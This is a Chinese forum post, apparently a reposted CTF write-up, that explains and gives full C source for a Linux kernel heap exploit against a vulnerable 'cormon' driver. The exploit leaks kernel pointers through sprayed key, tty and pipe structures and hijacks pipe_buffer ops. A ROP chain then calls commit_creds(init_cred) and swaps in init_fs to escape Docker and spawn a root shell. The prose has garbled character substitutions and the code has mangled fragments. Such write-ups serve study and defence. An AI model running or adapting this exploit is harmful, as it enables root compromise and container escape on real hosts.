- struct callback_head {
- struct callback_head *next;
- void (*func)(struct callback_head *head);
- } __attribute__((aligned(sizeof(void *))));
- #define rcu_head callback_head
复制代码 之后开释不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们界说这个地点为 target_object 。
[img=720,467.8864353312303]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659937.png[/img]
开释 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被开释前,开释劫持的 user_key_payload ,利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射结果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object。
打开 /dev/ptmx 时会分配 tty_file_private 而且该结构体的 tty 指针会指向 tty_struct 。- int tty_alloc_file(struct file *file)
- {
- struct tty_file_private *priv;
-
- priv = kmalloc(sizeof(*priv), GFP_KERNEL);
- if (!priv)
- return -ENOMEM;
-
- file->private_data = priv;
-
- return 0;
- }
- // kmalloc-32 | GFP_KERNEL
- struct tty_file_private {
- struct tty_struct *tty;
- struct file *file;
- struct list_head list;
- };
复制代码
[img=720,473.2421560740145]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659938.png[/img]
趁 poll_list 还没有开释,开释 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 更换为 pipe_buffer 。- struct pipe_buffer {
- struct page *page;
- unsigned int offset, len;
- const struct pipe_buf_operations *ops;
- unsigned int flags;
- unsigned long private;
- };
复制代码 之后 poll_list 开释导致 target_object - 0x18 地区开释。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。
[img=720,411.42857142857144]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659939.png[/img]
docker逃逸
具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns() 被seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct。- // commit_creds(&init_creds)
- *rop++ = pop_rdi_ret;
- *rop++ = init_cred;
- *rop++ = commit_creds;
-
- // current = find_task_by_vpid(getpid())
- *rop++ = pop_rdi_ret;
- *rop++ = getpid();
- *rop++ = find_task_by_vpid;
-
- // current->fs = &init_fs
- *rop++ = pop_rcx_ret;
- *rop++ = 0x6e0;
- *rop++ = add_rax_rcx_ret;
- *rop++ = pop_rbx_ret;
- *rop++ = init_fs;
- *rop++ = mov_mmrax_rbx_pop_rbx_ret;
- rop++;
-
复制代码 exp
- #ifndef _GNU_SOURCE#define _GNU_SOURCE#endif#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PAGE_SIZE 0x1000int randint(int min, int max) { return min + (rand() % (max - min));}void bind_core(bool fixed, bool thread) {
- cpu_set_t cpu_set;
- CPU_ZERO(&cpu_set);
- CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
- if (thread) {
- pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
- } else {
- sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
- }
- }void qword_dump(char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL) { printf("
- [*] %s:\n", desc); } for (int i = 0; i < len / 8; i += 4) { printf(" %04x", i * 8); for (int j = 0; j < 4; j++) { i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); } printf(" "); for (int j = 0; j < 32 && j + i * 8 < len; j++) { printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); } puts(""); }}bool is_kernel_text_addr(size_t addr) { return addr >= 0xFFFFFFFF80000000 && addr = 0xFFFFFFFF80000000 && addr = 0xFFFF888000000000 && addr nfds; int timer = ((poll_args *) args)->timer; struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd)); for (int i = 0; i < nfds; i++) { pfds[i].fd = open("/etc/passwd", O_RDONLY); pfds[i].events = POLLERR; } bind_core(true, true); pthread_mutex_lock(&mutex); poll_threads++; pthread_mutex_unlock(&mutex); poll(pfds, nfds, timer); bind_core(false, true); pthread_mutex_lock(&mutex); poll_threads--; pthread_mutex_unlock(&mutex);}#define N_STACK_PPS 30#define POLL_NUM 0x1000pthread_t poll_tid[POLL_NUM];void create_poll_thread(size_t size, int timer) { poll_args *args = calloc(1, sizeof(poll_args)); args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS; args->timer = timer; pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);}void wait_poll_start() { while (poll_threads != poll_cnt);}void join_poll_threads(void (*confuse)(void *), void *confuse_args) { for (int i = 0; i < poll_threads; i++) { pthread_join(poll_tid[i], NULL); if (confuse != NULL) { confuse(confuse_args); } } poll_cnt = poll_threads = 0;}struct callback_head { struct callback_head *next; void (*func)(struct callback_head *head);} __attribute__((aligned(sizeof(void *))));#define rcu_head callback_head#define __aligned(x) __attribute__((__aligned__(x)))typedef unsigned long long u64;struct user_key_payload { struct rcu_head rcu; /* RCU destructor */ unsigned short datalen; /* length of this data */ char data[0] __aligned(__alignof__(u64)); /* actual data */};#define KEY_NUM 199int key_id[KEY_NUM];int key_alloc(int id, void *payload, int payload_len) { char description[0x10] = {}; sprintf(description, "%d", id); return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);}int key_update(int id, void *payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);}int key_read(int id, void *bufer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);}int key_revoke(int id) { return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);}int key_unlink(int id) { return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);}struct list_head { struct list_head *next, *prev;};struct tty_file_private { struct tty_struct *tty; struct file *file; struct list_head list;};struct page;struct pipe_inode_info;struct pipe_buf_operations;struct pipe_bufer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private;};struct pipe_buf_operations { int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *); void (*release)(struct pipe_inode_info *, struct pipe_bufer *); int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *); int (*get)(struct pipe_inode_info *, struct pipe_bufer *);};void get_shell(void) { char *args[] = {"/bin/bash", "-i", NULL}; execve(args[0], args, NULL);}#define SEQ_NUM (2048 + 128)#define TTY_NUM 72#define PIPE_NUM 1024int cormon_fd;char buf[0x20000];void seq_confuse(void *args) { open("/proc/self/stat", O_RDONLY);}size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;size_t pop_rdi_ret = 0xffffffff8116926d;size_t init_cred = 0xFFFFFFFF8245A960;size_t commit_creds = 0xFFFFFFFF810EBA40;size_t pop_r14_pop_r15_ret = 0xffffffff81001615;size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;size_t init_fs = 0xFFFFFFFF82589740;size_t pop_rcx_ret = 0xffffffff8101f5fc;size_t add_rax_rcx_ret = 0xffffffff8102396f;size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;size_t pop_rbx_ret = 0xffffffff811bce34;size_t swapgs_ret = 0xffffffff81a05418;size_t iretq = 0xffffffff81c00f97;int main() { bind_core(true, false); save_status(); signal(SIGSEGV, (void *) get_shell); cormon_fd = open("/proc_rw/cormon", O_RDWR); if (cormon_fd < 0) { perror("[-] failed to open cormon."); exit(-1); } size_t kernel_offset; int target_key; puts("
- [*] Saturating kmalloc-32 partial slabs..."); int seq_fd[SEQ_NUM]; for (int i = 0; i < SEQ_NUM; i++) { seq_fd[i] = open("/proc/self/stat", O_RDONLY); if (seq_fd[i] < 0) { perror("[-] failed to open stat."); exit(-1); } if (i == 2048) { puts("
- [*] Spraying user keys in kmalloc-32..."); for (int j = 0; j < KEY_NUM; j++) { setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE); key_alloc(j, buf, 32); if (j == 72) { bind_core(false, false); puts("
- [*] Creating poll threads..."); for (int k = 0; k < 14; k++) { create_poll_thread( PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000); } bind_core(true, false); wait_poll_start(); } } puts("
- [*] Corrupting poll_list next pointer..."); write(cormon_fd, buf, PAGE_SIZE); puts("
- [*] Triggering arbitrary free..."); join_poll_threads(seq_confuse, NULL); puts("
- [*] Overwriting user key size / Spraying seq_operations structures..."); } } puts("
- [*] Leaking kernel pointer..."); for (int i = 0; i < KEY_NUM; i++) { int len = key_read(i, buf, sizeof(buf)); kernel_offset = search_kernel_offset(buf, len); if (kernel_offset != INVALID_KERNEL_OFFSET) { qword_dump("dump leak memory", buf, 0x1000); target_key = i; break; } } if (kernel_offset == INVALID_KERNEL_OFFSET) { puts("[-] failed to leak kernel offset,try again."); exit(-1); } push_rsi_pop_rsp_ret += kernel_offset; pop_rdi_ret += kernel_offset; init_cred += kernel_offset; commit_creds += kernel_offset; pop_r14_pop_r15_ret += kernel_offset; find_task_by_vpid += kernel_offset; init_fs += kernel_offset; pop_rcx_ret += kernel_offset; add_rax_rcx_ret += kernel_offset; mov_mmrax_rbx_pop_rbx_ret += kernel_offset; pop_rbx_ret += kernel_offset; swapgs_ret += kernel_offset; iretq += kernel_offset; puts("
- [*] Freeing user keys..."); for (int i = 0; i < KEY_NUM; i++) { if (i != target_key) { key_unlink(i); } } sleep(1); puts("
- [*] Spraying tty_file_private / tty_struct structures..."); int tty_fd[TTY_NUM]; for (int i = 0; i < TTY_NUM; i++) { tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); if (tty_fd[i] < 0) { perror("[-] failed to open ptmx"); } } puts("
- [*] Leaking heap pointer..."); size_t target_object = -1; int len = key_read(target_key, buf, sizeof(buf)); qword_dump("dump leak memory", buf, 0x1000); for (int i = 0; i < len; i += 8) { struct tty_file_private *head = (void *) &buf[i]; if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF) && head->list.next == head->list.prev && head->list.prev != NULL) { qword_dump("leak tty_struct addr from tty_file_private", &buf[i], sizeof(struct tty_file_private)); target_object = (size_t) head->tty; printf("[+] tty_struct addr: %p\n", target_object); break; } } if (target_object == -1) { puts("[-] failed to leak tty_struct addr."); exit(-1); } puts("
- [*] Freeing seq_operation structures..."); for (int i = 2048; i < SEQ_NUM; i++) { close(seq_fd[i]); } bind_core(false, false); puts("
- [*] Creating poll threads..."); for (int i = 0; i < 192; i++) { create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000); } bind_core(true, false); wait_poll_start(); puts("
- [*] Freeing corrupted key..."); key_unlink(target_key); sleep(1); // GC key puts("
- [*] Overwriting poll_list next pointer..."); char key[32] = {}; *(size_t *) &buf[0] = target_object - 0x18; for (int i = 0; i < KEY_NUM; i++) { setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE); key_alloc(i, key, 32); } puts("
- [*] Freeing tty_struct structures..."); for (int i = 0; i < TTY_NUM; i++) { close(tty_fd[i]); } sleep(1); // GC TTYs int pipe_fd[PIPE_NUM][2]; puts("
- [*] Spraying pipe_bufer structures..."); for (int i = 0; i < PIPE_NUM; i++) { pipe(pipe_fd[i]); write(pipe_fd[i][1], "aaaaaa", 6); } puts("
- [*] Triggering arbitrary free..."); join_poll_threads(NULL, NULL); ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300); ((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret; size_t *rop = (size_t *) buf; *rop++ = pop_r14_pop_r15_ret; rop++; rop++; // ops // commit_creds(&init_creds)
- *rop++ = pop_rdi_ret;
- *rop++ = init_cred;
- *rop++ = commit_creds;
-
- // current = find_task_by_vpid(getpid())
- *rop++ = pop_rdi_ret;
- *rop++ = getpid();
- *rop++ = find_task_by_vpid;
-
- // current->fs = &init_fs
- *rop++ = pop_rcx_ret;
- *rop++ = 0x6e0;
- *rop++ = add_rax_rcx_ret;
- *rop++ = pop_rbx_ret;
- *rop++ = init_fs;
- *rop++ = mov_mmrax_rbx_pop_rbx_ret;
- rop++;
- // back to user *rop++ = swapgs_ret; *rop++ = iretq; *rop++ = (uint64_t) get_shell; *rop++ = user_cs; *rop++ = user_rflags; *rop++ = user_sp; *rop++ = user_ss; puts("
- [*] Spraying ROP chain..."); for (int i = 0; i < 31; i++) { key_alloc(i, buf, 1024); } puts("
- [*] Hijacking control flow..."); for (int i = 0; i < PIPE_NUM; i++) { close(pipe_fd[i][0]); close(pipe_fd[i][1]); } sleep(5); return 0;}
复制代码 多试几次照旧可以乐成的。
[img=720,543.7190082644628]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659933.png[/img]
更多网安技能的在线实操练习,请点击这里>>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |